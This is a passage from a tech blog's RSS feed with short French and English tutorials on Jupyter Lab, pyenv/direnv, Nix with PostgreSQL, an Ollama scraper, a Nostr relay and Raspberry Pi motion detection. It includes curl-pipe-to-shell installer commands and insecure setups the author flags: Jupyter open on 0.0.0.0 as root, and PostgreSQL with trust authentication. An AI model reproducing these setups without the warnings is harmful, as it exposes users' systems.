&lt;p&gt;&lt;code&gt;Attention cette installation n&#39;est pas sécurisée. C&#39;est de l&#39;ultra temporaire à ne surtout pas utiliser en entreprise et encore moins avec des données de prod.&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;miniconda3-3.11-23.5.0-3&lt;/li&gt;
&lt;li&gt;nvidia-smi pour vérifier que vous avez accès à un GPU&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install notebook jupyterlab jupyter
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Et voilà, rendez-vous sur &lt;code&gt;http://VOTRE_SERVER:8888/lab?token=MOT_DE_PASSE&lt;/code&gt; pour accéder à Jupyter lab.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, nous allons voir comment installer Jupyter lab sur Ubuntu 22.</p>
<p><code>Attention cette installation n'est pas sécurisée. C'est de l'ultra temporaire à ne surtout pas utiliser en entreprise et encore moins avec des données de prod.</code></p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>miniconda3-3.11-23.5.0-3</li>
<li>nvidia-smi pour vérifier que vous avez accès à un GPU</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>pip install notebook jupyterlab jupyter
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<pre tabindex="0"><code>jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root
</code></pre><br/>
<p>Et voilà, rendez-vous sur <code>http://VOTRE_SERVER:8888/lab?token=MOT_DE_PASSE</code> pour accéder à Jupyter lab.</p>
<p><code>Attention, encore une fois, cette installation n'est pas secure!</code></p>
]]></content>
        </item>
        
        <item>
            <title>Installer direnv sur Ubuntu 22</title>
            <link>https://leandeep.com/installer-direnv-sur-ubuntu-22/</link>
            <pubDate>Sat, 19 Jul 2025 10:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-direnv-sur-ubuntu-22/</guid>
            <description>&lt;p&gt;Dans cet article très court, nous allons voir comment installer direnv sur Ubuntu 22.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install direnv
curl https://pyenv.run | bash
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;Ajouter les lignes suivantes dans votre &lt;code&gt;.zshrc&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export PYENV_ROOT=&amp;#34;$HOME/.pyenv&amp;#34;
export PATH=&amp;#34;$PYENV_ROOT/bin:$PATH&amp;#34;
eval &amp;#34;$(pyenv init --path)&amp;#34;
eval &amp;#34;$(pyenv init -)&amp;#34;
eval &amp;#34;$(direnv hook zsh)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exécuter &lt;code&gt;soure ~/.zshrc&lt;/code&gt; puis installer un package python de votre choix.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pyenv install 3.11.8
pyenv global 3.11.8

# Ou 
pyenv install miniconda3-3.11-23.5.0-3
pyenv global miniconda3-3.11-23.5.0-3
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;That&amp;rsquo;s all!
Vous pouvez maintenant exécuter &lt;code&gt;echo &amp;quot;layout pyenv 3.11.8&amp;quot; &amp;gt;&amp;gt; .envrc&lt;/code&gt; où vous voulez&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, nous allons voir comment installer direnv sur Ubuntu 22.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo apt install direnv
curl https://pyenv.run | bash
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>Ajouter les lignes suivantes dans votre <code>.zshrc</code></p>
<pre tabindex="0"><code>export PYENV_ROOT=&#34;$HOME/.pyenv&#34;
export PATH=&#34;$PYENV_ROOT/bin:$PATH&#34;
eval &#34;$(pyenv init --path)&#34;
eval &#34;$(pyenv init -)&#34;
eval &#34;$(direnv hook zsh)&#34;
</code></pre><p>Exécuter <code>soure ~/.zshrc</code> puis installer un package python de votre choix.</p>
<pre tabindex="0"><code>pyenv install 3.11.8
pyenv global 3.11.8

# Ou 
pyenv install miniconda3-3.11-23.5.0-3
pyenv global miniconda3-3.11-23.5.0-3
</code></pre><br/>
<p>That&rsquo;s all!
Vous pouvez maintenant exécuter <code>echo &quot;layout pyenv 3.11.8&quot; &gt;&gt; .envrc</code> où vous voulez</p>
]]></content>
        </item>
        
        <item>
            <title>Première utilisation de Nix et setup Postgres</title>
            <link>https://leandeep.com/premi%C3%A8re-utilisation-de-nix-et-setup-postgres/</link>
            <pubDate>Wed, 02 Jul 2025 22:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/premi%C3%A8re-utilisation-de-nix-et-setup-postgres/</guid>
            <description>&lt;p&gt;Petite précision, c&amp;rsquo;est un setup sur Mac avec processeur ARM. La version de Nix est &lt;code&gt;2.29.1&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;setup-nix-sur-osx&#34;&gt;Setup Nix sur OSX&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sh &amp;lt;(curl --proto &amp;#39;=https&amp;#39; --tlsv1.2 -L https://nixos.org/nix/install)
source ~/.zshrc
mkdir ~/.config/nix
echo &amp;#34;experimental-features = nix-command flakes&amp;#34; &amp;gt;&amp;gt; ~/.config/nix/nix.conf
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Remarque: sur Ubuntu, l&amp;rsquo;installer avec &lt;code&gt;sh &amp;lt;(curl --proto &#39;=https&#39; --tlsv1.2 -L https://nixos.org/nix/install) --daemon&lt;/code&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;setup-pg&#34;&gt;Setup PG&lt;/h2&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;nix/flake.nix&lt;/code&gt; dans votre repo git et ajouter le contenu suivant:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Petite précision, c&rsquo;est un setup sur Mac avec processeur ARM. La version de Nix est <code>2.29.1</code>.</p>
<h2 id="setup-nix-sur-osx">Setup Nix sur OSX</h2>
<pre tabindex="0"><code>sh &lt;(curl --proto &#39;=https&#39; --tlsv1.2 -L https://nixos.org/nix/install)
source ~/.zshrc
mkdir ~/.config/nix
echo &#34;experimental-features = nix-command flakes&#34; &gt;&gt; ~/.config/nix/nix.conf
</code></pre><blockquote>
<p>Remarque: sur Ubuntu, l&rsquo;installer avec <code>sh &lt;(curl --proto '=https' --tlsv1.2 -L https://nixos.org/nix/install) --daemon</code>.</p></blockquote>
<br/>
<h2 id="setup-pg">Setup PG</h2>
<p>Créer un fichier <code>nix/flake.nix</code> dans votre repo git et ajouter le contenu suivant:</p>
<p><strong>Option 1</strong></p>
<pre tabindex="0"><code>{
  description = &#34;Environnement de développement PostgreSQL&#34;;

  inputs = {
    nixpkgs.url = &#34;github:NixOS/nixpkgs/nixpkgs-unstable&#34;;
    flake-utils.url = &#34;github:numtide/flake-utils&#34;;
  };

  outputs = { self, nixpkgs, flake-utils }: 
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = &#39;&#39;
            export setup_postgres=${pkgs.postgresql}/bin/initdb
          &#39;&#39;;
        };
      });
}
</code></pre><br/>
<p><strong>Option 2 (avec démarrage du serveur automatique)</strong></p>
<blockquote>
<p>Chaque fois que <code>nix develop</code> sera démarré dans votre repo dans le dossier <code>nix</code>,
le shell va s’ouvrir avec PostgreSQL installé et il va automatiquement lancer le serveur PostgreSQL (si la base est initialisée).</p></blockquote>
<pre tabindex="0"><code>{
  description = &#34;Environnement de développement PostgreSQL&#34;;

  inputs = {
    nixpkgs.url = &#34;github:NixOS/nixpkgs/nixpkgs-unstable&#34;;
    flake-utils.url = &#34;github:numtide/flake-utils&#34;;
  };

  outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = &#39;&#39;
            export setup_postgres=${pkgs.postgresql}/bin/initdb

            # Démarrage automatique de PostgreSQL si le dossier est initialisé
            if [ -d &#34;$PWD/var/pgdata/base&#34; ]; then
              echo &#34;⏳ Démarrage de PostgreSQL...&#34;
              pg_ctl -D $PWD/var/pgdata -l $PWD/var/pglog start
            else
              echo &#34;⚠️  PostgreSQL n&#39;est pas encore initialisé. Lancez :&#34;
              echo &#34;   $setup_postgres $PWD/var/pgdata&#34;
            fi
          &#39;&#39;;
        };
      });
}
</code></pre><br/>
<p><strong>Option 3 (start &amp; stop automatique à l&rsquo;entrée et sortie de <code>nix develop</code>)</strong></p>
<pre tabindex="0"><code>{
  description = &#34;Environnement de développement PostgreSQL&#34;;

  inputs = {
    nixpkgs.url = &#34;github:NixOS/nixpkgs/nixpkgs-unstable&#34;;
    flake-utils.url = &#34;github:numtide/flake-utils&#34;;
  };

  outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = &#39;&#39;
            export setup_postgres=${pkgs.postgresql}/bin/initdb

            # Démarrage automatique si base initialisée
            if [ -d &#34;$PWD/var/pgdata/base&#34; ]; then
              echo &#34;⏳ Démarrage de PostgreSQL...&#34;
              pg_ctl -D $PWD/var/pgdata -l $PWD/var/pglog start

              # À la sortie du shell, arrêter PostgreSQL
              trap &#34;echo &#39;🛑 Arrêt de PostgreSQL...&#39;; pg_ctl -D $PWD/var/pgdata stop&#34; EXIT
            else
              echo &#34;⚠️  PostgreSQL n&#39;est pas encore initialisé. Lancez :&#34;
              echo &#34;   $setup_postgres $PWD/var/pgdata&#34;
            fi
          &#39;&#39;;
        };
      });
}
</code></pre><br/>
<pre tabindex="0"><code>cd nix
nix develop
$setup_postgres $PWD/var/pgdata
/nix/store/smngl7zwd4mcz426w18p7lnx08m52im0-postgresql-17.5/bin/pg_ctl -D /Users/.../nix/var/pgdata -l logfile start
createdb olivier
</code></pre><br/>
<p><strong>Vérification (connexion à PG)</strong></p>
<pre tabindex="0"><code>psql -h localhost -p 5432 -U $USER
</code></pre><br/>
<h2 id="stopper-le-serveur-pg">Stopper le serveur PG</h2>
<pre tabindex="0"><code>nix develop
pg_ctl -D $PWD/var/pgdata stop
</code></pre><blockquote>
<p>Attention le serveur tourne en mode dev:
<code>initdb: warning: enabling &quot;trust&quot; authentication for local connections</code>
PostgreSQL autorise toutes les connexions locales sans mot de passe. En production, on peut modifier le fichier <code>var/pgdata/pg_hba.conf</code> et changer trust en md5 pour obliger une authentification avec mot de passe</p></blockquote>
<br/>
<h2 id="incompatibilité-mac-m2">Incompatibilité Mac M2</h2>
<pre tabindex="0"><code>NIXPKGS_ALLOW_UNSUPPORTED_SYSTEM=1 nix develop --impure
</code></pre><br/>
<h2 id="cleanup-complet-pas-uninstall">Cleanup complet (pas uninstall)</h2>
<pre tabindex="0"><code>nix store gc
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Using AI and IoT to Safely Automate Fireplace Fire Starting</title>
            <link>https://leandeep.com/using-ai-and-iot-to-safely-automate-fireplace-fire-starting/</link>
            <pubDate>Mon, 09 Jun 2025 22:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/using-ai-and-iot-to-safely-automate-fireplace-fire-starting/</guid>
            <description>&lt;p&gt;I&amp;rsquo;m currently building an IoT device that will automatically start fires in my traditional chimney at scheduled times during cold winter days.
The idea is to start a fire one hour before I wake up, while I&amp;rsquo;m still asleep, to warm up the house.
Unlike a smart stove, a traditional fireplace can&amp;rsquo;t be controlled remotely. It’s old-school with a twist of AI, code, and electronics.
Everything is getting automated! Here are the first two videos showing the progress of my side project.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I&rsquo;m currently building an IoT device that will automatically start fires in my traditional chimney at scheduled times during cold winter days.
The idea is to start a fire one hour before I wake up, while I&rsquo;m still asleep, to warm up the house.
Unlike a smart stove, a traditional fireplace can&rsquo;t be controlled remotely. It’s old-school with a twist of AI, code, and electronics.
Everything is getting automated! Here are the first two videos showing the progress of my side project.</p>
<br/>
<p>This video shows that I&rsquo;m able to remote start a fire using my smartphone

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/Myv54a8JsMw?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>

</p>
<p><br/>
This video shows that a camera detects the fire has successfully started using AI

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/LRY1dGLTplk?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>

</p>
<p>I&rsquo;m planning to use two existing surveillance cameras I already have at home. The first one will detect whether the fire has successfully started. If it does, I’ll immediately cut the power supply used to ignite the fire, for safety reasons. The second camera will trigger an alarm in case anything goes wrong, like a fire spreading or any unexpected incident. This is, of course, a simplified version to keep the article concise. In reality, the system is much more sophisticated than that.</p>
<br/>
<p>More videos will be shared in future articles&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Install Nostr Rust relay without Docker</title>
            <link>https://leandeep.com/install-nostr-rust-relay-without-docker/</link>
            <pubDate>Sun, 04 May 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/install-nostr-rust-relay-without-docker/</guid>
            <description>&lt;p&gt;In this article we are going to see how to setup a Nostr relay without Docker.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;rust installed (else &lt;code&gt;curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Run Nostr relay without Docker&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install build-essential cmake protobuf-compiler pkg-config libssl-dev
git clone -q https://git.sr.ht/\~gheartsfield/nostr-rs-relay
cd nostr-rs-relay
cargo build -q -r

RUST_LOG=warn,nostr_rs_relay=info ./target/release/nostr-rs-relay
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And voila the relay will listen on port 8080.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to setup a Nostr relay without Docker.</p>
<br/>
<p><strong>Prerequisites</strong></p>
<ul>
<li>rust installed (else <code>curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh</code>)</li>
</ul>
<br/>
<p><strong>Run Nostr relay without Docker</strong></p>
<pre tabindex="0"><code>sudo apt-get install build-essential cmake protobuf-compiler pkg-config libssl-dev
git clone -q https://git.sr.ht/\~gheartsfield/nostr-rs-relay
cd nostr-rs-relay
cargo build -q -r

RUST_LOG=warn,nostr_rs_relay=info ./target/release/nostr-rs-relay
</code></pre><p>And voila the relay will listen on port 8080.</p>
]]></content>
        </item>
        
        <item>
            <title>Utiliser Ollama sur Ubuntu 22 via Docker et faire du LLM scraping</title>
            <link>https://leandeep.com/utiliser-ollama-sur-ubuntu-22-via-docker-et-faire-du-llm-scraping/</link>
            <pubDate>Sun, 04 May 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/utiliser-ollama-sur-ubuntu-22-via-docker-et-faire-du-llm-scraping/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment utiliser Ollama sur Ubuntu 22 via Docker tout en tirant parti du GPU connecté au serveur dans le but de faire du scraping en posant des questions à son LLM auto-hébergé.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pré-requis&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nvidia-smi&lt;/code&gt; déjà installé&lt;/li&gt;
&lt;li&gt;Cuda installé&lt;/li&gt;
&lt;li&gt;Docker installé&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation du NVIDIA Container Toolkit&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
# Vérification
docker run --rm --gpus all nvidia/cuda:12.2.0-base-ubuntu20.04 nvidia-smi
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Docker compose Ollama avec accès GPU&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment utiliser Ollama sur Ubuntu 22 via Docker tout en tirant parti du GPU connecté au serveur dans le but de faire du scraping en posant des questions à son LLM auto-hébergé.</p>
<br/>
<p><strong>Pré-requis</strong></p>
<ul>
<li><code>nvidia-smi</code> déjà installé</li>
<li>Cuda installé</li>
<li>Docker installé</li>
</ul>
<br/>
<p><strong>Installation du NVIDIA Container Toolkit</strong></p>
<pre tabindex="0"><code>sudo apt install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
# Vérification
docker run --rm --gpus all nvidia/cuda:12.2.0-base-ubuntu20.04 nvidia-smi
</code></pre><br/>
<p><strong>Docker compose Ollama avec accès GPU</strong></p>
<pre tabindex="0"><code>version: &#39;3.8&#39;
services:
  ollama:
    image: ollama/ollama
    ports:
      - &#34;11434:11434&#34;
    volumes:
      - ollama-data:/root/.ollama
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              capabilities: [gpu]

  openwebui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: openwebui
    ports:
      - &#34;3000:8080&#34;
    volumes:
      - openwebui-data:/app/backend/data
    environment:
      - OLLAMA_API_BASE_URL=http://ollama:11434
    depends_on:
      - ollama
    restart: unless-stopped
  
  scraper-llm:
    build:
      context: ./scraper-llm
    depends_on:
      - ollama
    environment:
      - OLLAMA_HOST=http://ollama:11434
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              capabilities: [gpu]

volumes:
  ollama-data:
  openwebui-data:
</code></pre><br/>
<p><strong>Ajouter les 3 fichiers ci-dessous permettant de scraper des sites web</strong></p>
<ol>
<li>Créer un fichier <code>./scraper-llm/main.py</code> et ajouter le contenu suivant:</li>
</ol>
<pre tabindex="0"><code>import requests
from bs4 import BeautifulSoup
import html2text

OLLAMA_URL = &#34;http://ollama:11434/api/generate&#34;  # utilise le nom du service docker

def scrape_text(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.text, &#39;html.parser&#39;)
    html_text = str(soup.body)
    return html2text.html2text(html_text)

def ask_ollama(prompt, model=&#34;llama3&#34;):
    payload = {
        &#34;model&#34;: model,
        &#34;prompt&#34;: prompt,
        &#34;stream&#34;: False
    }
    response = requests.post(OLLAMA_URL, json=payload)
    response.raise_for_status()
    return response.json()[&#34;response&#34;]

if __name__ == &#34;__main__&#34;:
    url = &#34;https://fr.wikipedia.org/wiki/Intelligence_artificielle&#34;
    content = scrape_text(url)

    question = &#34;Quels sont les grands types d&#39;intelligence artificielle abordés dans cet article ?&#34;
    full_prompt = f&#34;Voici le contenu d&#39;une page web :\n\n{content}\n\n{question}&#34;

    print(&#34;🧠 Question envoyée au modèle...\n&#34;)
    answer = ask_ollama(full_prompt)
    print(&#34;✅ Réponse :\n&#34;)
    print(answer)
</code></pre><br/>
<ol start="2">
<li>Créer le fichier <code>./scraper-llm/requirements.txt</code> et ajouter le contenu suivant:</li>
</ol>
<pre tabindex="0"><code>requests
beautifulsoup4
html2text
</code></pre><br/>
<ol start="3">
<li>Créer un <code>./scraper-llm/Dockerfile</code>:</li>
</ol>
<pre tabindex="0"><code>FROM python:3.10-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY main.py .

CMD [&#34;python&#34;, &#34;main.py&#34;]
</code></pre><br/>
<h2 id="run">RUN</h2>
<pre tabindex="0"><code>docker compose build --no-cache
docker compose up

# Dans une second tab:
docker compose exec ollama ollama run llama3
docker compose exec ollama ollama run llama4
</code></pre><br/>
<ul>
<li>Web Interface: http://localhost:3000</li>
<li>Ollama API: http://localhost:11434</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Identify path to stop docker compose</title>
            <link>https://leandeep.com/identify-path-to-stop-docker-compose/</link>
            <pubDate>Mon, 28 Apr 2025 23:40:00 +0000</pubDate>
            
            <guid>https://leandeep.com/identify-path-to-stop-docker-compose/</guid>
            <description>&lt;p&gt;Very quick tip on how to identify the directory from which a &lt;code&gt;docker compose&lt;/code&gt; command was launched (as the standard docker ps output doesn&amp;rsquo;t show it).&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Retrieve container ID
docker ps 

docker inspect \
  --format=&amp;#39;{{ index .Config.Labels &amp;#34;com.docker.compose.project.working_dir&amp;#34; }}&amp;#39; \
  0e6194178cf0
/Users/olivier/Dev/Leandeep/Rust/test_app/leptos_pg
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Very quick tip on how to identify the directory from which a <code>docker compose</code> command was launched (as the standard docker ps output doesn&rsquo;t show it).</p>
<pre tabindex="0"><code># Retrieve container ID
docker ps 

docker inspect \
  --format=&#39;{{ index .Config.Labels &#34;com.docker.compose.project.working_dir&#34; }}&#39; \
  0e6194178cf0
/Users/olivier/Dev/Leandeep/Rust/test_app/leptos_pg
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Access Raspberry Pi Camera using Python and OpenCV</title>
            <link>https://leandeep.com/access-raspberry-pi-camera-using-python-and-opencv/</link>
            <pubDate>Mon, 28 Apr 2025 21:55:00 +0200</pubDate>
            
            <guid>https://leandeep.com/access-raspberry-pi-camera-using-python-and-opencv/</guid>
            <description>&lt;p&gt;In this article we are going to see how to install OpenCV on a Raspberry PI using Bookworm.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Install dependencies on Raspberry Pi&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install python3-picamera2
sudo apt install libcamera-apps
sudo apt install python3-opencv
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Install dependencies on Macbook&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install opencv-python numpy
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import cv2
import numpy as np
import time
from datetime import datetime
import os

# ==========================
#   CONSTANTS (Configuration)
# ==========================
BLUR_SIZE = (7, 7)              # Larger → less sensitive (e.g., (7,7) or (9,9))
THRESHOLD_SENSITIVITY = 50       # Higher → less sensitive (e.g., 60, 70)
MIN_CONTOUR_AREA = 2000          # Higher → only detects larger movements
FRAME_WAIT_TIME = 0.1            # Time to wait between frames (in seconds)
SAVE_DIR = &amp;#34;captures&amp;#34;            # Directory to save captured images

# ==========================
#   Camera Initialization
# ==========================
def initialize_camera():
    try:
        from picamera2 import Picamera2
        picam2 = Picamera2()
        config = picam2.create_preview_configuration(main={&amp;#34;format&amp;#34;: &amp;#34;RGB888&amp;#34;, &amp;#34;size&amp;#34;: (640, 480)})
        picam2.configure(config)
        picam2.start()
        time.sleep(2)
        print(&amp;#34;[INFO] Raspberry Pi camera initialized.&amp;#34;)
        return picam2, True
    except ImportError:
        cap = cv2.VideoCapture(0)
        if not cap.isOpened():
            raise Exception(&amp;#34;[ERROR] Cannot open webcam.&amp;#34;)
        time.sleep(2)
        print(&amp;#34;[INFO] Webcam initialized.&amp;#34;)
        return cap, False

# ==========================
#   Frame Capture
# ==========================
def capture_frame(camera, is_picam):
    if is_picam:
        return camera.capture_array()
    else:
        ret, frame = camera.read()
        if not ret:
            raise Exception(&amp;#34;[ERROR] Failed to capture frame.&amp;#34;)
        return frame

# ==========================
#   Frame Processing
# ==========================
def process_frame(current_frame, previous_frame, is_picam):
    # Apply Gaussian blur
    current_blurred = cv2.GaussianBlur(current_frame, BLUR_SIZE, 0)
    previous_blurred = cv2.GaussianBlur(previous_frame, BLUR_SIZE, 0)

    # Convert to grayscale
    if is_picam:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_RGB2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_RGB2GRAY)
    else:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_BGR2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_BGR2GRAY)

    # Compute difference and threshold
    diff = cv2.absdiff(gray_previous, gray_current)
    _, thresh = cv2.threshold(diff, THRESHOLD_SENSITIVITY, 255, cv2.THRESH_BINARY)
    thresh = cv2.dilate(thresh, None, iterations=2)

    return thresh

# ==========================
#   Movement Detection
# ==========================
def detect_movement(thresh):
    contours, _ = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    for contour in contours:
        if cv2.contourArea(contour) &amp;gt;= MIN_CONTOUR_AREA:
            return True
    return False

# ==========================
#   Save Frame
# ==========================
def save_frame(frame, is_picam):
    now = datetime.now()
    timestamp = now.strftime(&amp;#34;%Y-%m-%d_%H-%M-%S&amp;#34;)
    filename = os.path.join(SAVE_DIR, f&amp;#34;capture_{timestamp}.jpg&amp;#34;)

    if is_picam:
        frame_to_save = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    else:
        frame_to_save = frame  # Already BGR

    cv2.imwrite(filename, frame_to_save)
    print(f&amp;#34;[INFO] Image saved: {filename}&amp;#34;)

# ==========================
#   Main Function
# ==========================
def main():
    os.makedirs(SAVE_DIR, exist_ok=True)

    camera, is_picam = initialize_camera()
    previous_frame = capture_frame(camera, is_picam)

    print(&amp;#34;[INFO] Surveillance started... (Press Ctrl+C to exit)&amp;#34;)

    try:
        while True:
            current_frame = capture_frame(camera, is_picam)
            thresh = process_frame(current_frame, previous_frame, is_picam)

            if detect_movement(thresh):
                print(f&amp;#34;[{datetime.now().strftime(&amp;#39;%Y-%m-%d %H:%M:%S&amp;#39;)}] Movement detected!&amp;#34;)
                save_frame(current_frame, is_picam)

            previous_frame = current_frame.copy()
            time.sleep(FRAME_WAIT_TIME)

    except KeyboardInterrupt:
        print(&amp;#34;\n[INFO] Surveillance stopped by the user.&amp;#34;)

    finally:
        if is_picam:
            camera.stop()
        else:
            camera.release()

# ==========================
#   Entry Point
# ==========================
if __name__ == &amp;#34;__main__&amp;#34;:
    main()
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;BLUR_SIZE&lt;/code&gt;: larger → less sensitive (e.g., (7,7) or (9,9))&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THRESHOLD_SENSITIVITY&lt;/code&gt;: higher → less sensitive (e.g., 60, 70)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MIN_CONTOUR_AREA&lt;/code&gt;: higher → only detects larger movements&lt;/li&gt;
&lt;/ul&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to install OpenCV on a Raspberry PI using Bookworm.</p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<p><strong>Install dependencies on Raspberry Pi</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt install python3-picamera2
sudo apt install libcamera-apps
sudo apt install python3-opencv
</code></pre><br/>
<p><strong>Install dependencies on Macbook</strong></p>
<pre tabindex="0"><code>pip install opencv-python numpy
</code></pre><br/>
<h2 id="code">Code</h2>
<pre tabindex="0"><code>import cv2
import numpy as np
import time
from datetime import datetime
import os

# ==========================
#   CONSTANTS (Configuration)
# ==========================
BLUR_SIZE = (7, 7)              # Larger → less sensitive (e.g., (7,7) or (9,9))
THRESHOLD_SENSITIVITY = 50       # Higher → less sensitive (e.g., 60, 70)
MIN_CONTOUR_AREA = 2000          # Higher → only detects larger movements
FRAME_WAIT_TIME = 0.1            # Time to wait between frames (in seconds)
SAVE_DIR = &#34;captures&#34;            # Directory to save captured images

# ==========================
#   Camera Initialization
# ==========================
def initialize_camera():
    try:
        from picamera2 import Picamera2
        picam2 = Picamera2()
